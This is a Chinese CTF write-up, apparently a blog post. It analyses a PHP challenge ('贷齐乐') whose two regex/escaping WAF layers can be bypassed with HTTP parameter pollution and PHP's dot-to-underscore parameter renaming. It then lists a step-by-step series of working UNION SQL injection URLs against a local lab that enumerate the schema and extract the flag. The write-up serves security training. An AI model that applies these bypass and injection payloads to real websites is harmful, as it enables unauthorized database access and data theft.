贷齐乐hpp+php特性注入

文章目录

运行过程

  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

分析可知,先进行两层waf拦截(详见下面),首先先对传入的参数使用dowith拦截,再使用dhtmlspecialchars拦截。再查询有没有submit,如果有则将id带入数据库进行查询并且返回值,如果没有submit,则直接退出。

waf

第一层waf拦截

  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }

这个正则拦截/select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile,当发现用户输入的参数包含这些时,会直接退出程序。

第二层waf拦截

  function dhtmlspecialchars($string) {
    if (is_array($string)) {
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    }
    else {
        $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
        if (strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}

这层waf是先将数据分为两个,一个key,一个value,并进行检测是不是含有非法字符。

数据库查询语句

  if (isset($_REQUEST['submit'])) {
    $user_id = $_REQUEST['i_d'];
    $sql = "select * from ctf.users where id=$user_id";
    $result=mysqli_query($conn,$sql);
    while($row = @mysqli_fetch_array($result))
    {
        echo "<tr>";
        echo "<td>" . $row['name'] . "</td>";
        echo "</tr>";
    }
}

注入思路

我们得思考下如果我们有一种方法让第一层WAF检测不到恶意字符,再通过第二层WAF的覆盖,从而将恶意字符传入到REQUEST中,其实也就可以绕过WAF,完成我们的注入了。

找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。

既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。

在php中,如果传入多个名字相同的参数,那么它会取最后一个参数,那么这样,就可以绕过第一道WAF。所以传入i_d=1&i_d=2,其最终会接收到的是i_d=2。那我们便想把恶意语句放在第一个i_d。

绕过了第一道WAF,那么就该想如何绕过第二道WAF,上面绕过第一道WAF时,也给了思路,那就是将恶意语句放在第一个i_d,那就得思考,怎么在第二道WAF时让其接受第一个i_d。

php中有个小特性,那就是传入的.将会变为_,例如我们传入i.d会被转换为i_d,那么我们就要想想能不能利用这个思路来绕过。

$_SERVER['REQUEST_URI']在接受时i_d和i.d是不一样的,所以,我们便可以使用这个特性来绕过。

注入

按照上面的接替思路,我们构建payload进行测试。

http://127.0.0.1/daiqile/index.php?submit=1&i_d=1&i.d=2
http://127.0.0.1/daiqile/index.php?submit=1&i_d=2&i.d=1

使用上面进行检测,当i_d=1&i.d=2时,不会回显数据,而i_d=2&i.d=1会回显数据(因为我的数据库id=2才有数据,id=1没有数据),发现事实和我们想象的一样既绕过了第一道WAF,又将i_d传入数据库。

那么接下来就可以进入正是注入。

使用/**/代替空格

查询列数并查看回显位置

?submit=1&i_d=-2/**/union/**/select/**/1,2,3,4&i.d=1

查询数据库名(改变limit查询的行数)

?submit=1&i_d=-2/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1

最终使用下面语句查到为ctf

?submit=1&i_d=-2/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1

查表名(因为使用addslashes对单引号进行过滤,所以我们使用十六进制绕过;源码中也对=进行了过滤,我们只能使用like进行绕过)

?submit=1&i_d=-2/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=1

查询列名

?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1

拿下flag

?submit=1&i_d=-2/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1
相关推荐
wkj0011 小时前
php操作redis
开发语言·redis·php
黑客Ash10 小时前
【D01】网络安全概论
网络·安全·web安全·php
->yjy10 小时前
计算机网络(第一章)
网络·计算机网络·php
阳光帅气男孩12 小时前
PhpSpreadsheet导出图片
php
周全全12 小时前
Spring Boot + Vue 基于 RSA 的用户身份认证加密机制实现
java·vue.js·spring boot·安全·php
Mr.Pascal13 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
建群新人小猿14 小时前
会员等级经验问题
android·开发语言·前端·javascript·php
黑客Ela17 小时前
网络安全问题概述
安全·web安全·php
Wh1teR0se17 小时前
详解php://filter--理论
web安全·php